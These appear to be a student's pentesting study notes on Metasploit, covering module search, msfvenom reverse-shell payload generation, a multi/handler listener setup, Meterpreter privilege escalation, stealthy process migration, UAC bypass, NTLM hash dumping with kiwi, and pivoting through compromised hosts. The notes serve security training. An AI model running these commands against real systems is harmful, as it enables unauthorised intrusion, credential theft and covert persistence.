Metasploit

The Basics

Setup and Navigate Metasploit

• Database isn’t enabled by default
  • sudo msfdb init, sudo systemctl enable postgresql
    • To restart database, stop postgresql and then sudo msfdb reinit
  • Run db_status in the console to check
• Workspaces
  • workspace - create workspaces when pentesting a client
  • db_nmap - works like regular nmap, but stores results in the db
    • Query db with hosts for hosts and services for services
• show -h to show all modules, like exploits, payloads, and auxiliary
  • Showing payloads is nice; default is usually reverse tcp shel

Auxiliary Modules

• Used for external attacks, like enumeration, scanning, fuzzing, sniffing, etc.
• search to search through the modules, with type to specify the module type
  • For example: search type:auxiliary smb or search Apache 2.4.41
  • When some exploits have multiple targets, and you have a m
• use to use a module with a given index from a search
  • For example: use /auxiliary/scanner/ssh/ssh_login to brute force ssh
• info to get information about the current module
• show options to give options that the module can use
• set {option} {parameter} to set an option to a given parameter, like RHOSTS to an IP
  • unset to unset
  • can set files by providing the path
  • can set payloads by providing the path (/payload/linux/x86/shell_reverse_tcp)
• vulns to see if any vulnerabilities have been automatically detected
• creds to show any discovered creds
• run -j to run a job in the background and create a session for one client
• sessions can switch between shells
  • Use CTRL+Z to exit a shell but keep it in the background
  • sessions -l to list available sessions
  • sessions -i {session_number} to switch (interact) with a session

SearchSploit

• sudo apt install exploitdb
• Contains archive of all exploit code from exploitdb
• Can search through exploits with searchsploit {string}
• Can copy exploits to home directory with -m

Using Payloads

Staged/Non-Stated Payloads

• Non-staged: payload is sent along with the exploit
  • No use of / means that it’s non-staged (e.g. shell_reverse_tcp)
• Staged: Exploit the machine for a callback, then give a larger payload
  • / indicates a staged payload (e.g. shell/reverse_tcp)
• show payloads to see a list of all payloads
  • set payload {index} to set a payload after showing them

Meterpreter

• Multi-function payload residing entirely in memory
• help to display commands in shell
• sysinfo and getuid to gather system data
• put l before any command to run it on kali
• Channels:
  • Basically the same thing as sessions in msf
  • shell and Ctrl+Z to push a channel to the background
  • channel -l to list all channels
  • channel -i 1 to interact with a channel
• download {file_path} to download a file from the system
• upload {local_file_path} {resulting_file_path} to upload a file to the system
• search -f {filename} to search from / for a file named {filename}

Executable Payloads

• msfvenom can generate malicious executables
• msfvenom -l payloads --platform {os (windows)} --arch {arch (x86)} to list payloads
• msfvenom -p {path_to_payload} LHOST={IP} LPORT={kali_listening_port} -f {filetype (exe)} -o {output_executable} to generate an executable
• To get an interactive shell via a staged payload, we can use Metasploit’s multi/handler
  • use multi/handler
  • Staged payloads will now give us an interactive shell
• Steps:
  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f c
    • We only get one meterpreter shell, so consider these instead:
      • windows/x64/shell_reverse_tcp
      • linux/x64/shell_reverse_tcp
  • msfconsole
  • use exploit/multi/handler
  • set payload linux/x86/meterpreter/reverse_tcp
  • set LHOST 10.0.0.1
  • set LPORT 4444
  • exploit -j

Post-Exploitation

Meterpreter Post-Exploitation Features

• idletime to see how long it’s been since the system was used (e.g. don’t run shit until empty)
• getsystem to attempt to elevate privileges to NT AUTHORITY\SYSTEM
• migrate {process_id} - injects meterpreter into another process for stealth and persistence
  • If no good processes exist, create one with execute -H -f {process (notepad)}
    • -H hides the process, so no visual representation will be present

Post-Exploitation Modules

• After injecting ourselves into another process, our privilege level drops, so we need to escalate
• exploit/windows/local/bypassuac_sdclt is good for UAC bypassing on Windows
  • We can set our session to the session running the shell (from Ctrl+Z -> bg)
• Can load extensions directly inside the active session using load
  • load kiwi to load an extension equivalent to Mimikatz
  • help to view commands, like creds_msv to dump NTLM hashes
• Can search for post exploitation modules with search post ...
  • These only require a meterpreter session id

Pivoting with Metasploit

• After getting on a machine, we can enumerate the network in a number of ways
• If we find an internal IP from something like ipconfig, we can pivot to it with the following:
  • bg to background the session in meterpreter and route add {IP.IP.IP.0/24} {session_number} to add a route to an internal network reachable through a compromised host
    • We can remove old routes with route flush
  • We can then set RHOSTS to an internal IP and use something like auxiliary/scanner/portscan/tcp to scan the open ports on the internal IP
  • Running exploits is the exact same–it just required the route set up in Metasploit
• Can also use autoroute module to set up pivot routes
  • use multi/manage/autoroute
  • set session {session_ID} - can list all sessions with sessions -l
• Can also combine routes with server/socks_proxy
  • use auxiliary/server/socks_proxy
  • Then set VERSION, SRVHOST as localhost, and run -j
    • This will probably return the port 1080
  • Then add socks5 127.0.0.1 1080 to /etc/proxychains4.conf
  • Can then use proxychains to run commands, such as xfreerdp
    • sudo proxychains xfreerdp /v:{internal_target_IP} /u:luiza
• Can also use portfwd
  • Use a meterpreter session with sessions -i {session #}
  • Then, port forward with portfwd add -l {local_port} -p {remote_port} -r {int_IP}

Automation

Resource Scripts

• Can chain together metasploit commands and Ruby code
  • Put all commands in a script (.rc) and pass it to msfconsole with -r
  • Can configure AutoRunScript to automatically execute a module after the script has been run - set AutoRunScript {module (/post/windows/manage/migrate)}
  • set ExitOnSession to false to keep the multi/handler listening after a connection
  • Then, run with -z and -j to put the job in the background and stop us from interacting
• Prebuilt available at /usr/share/metasploit-framework/scripts/resource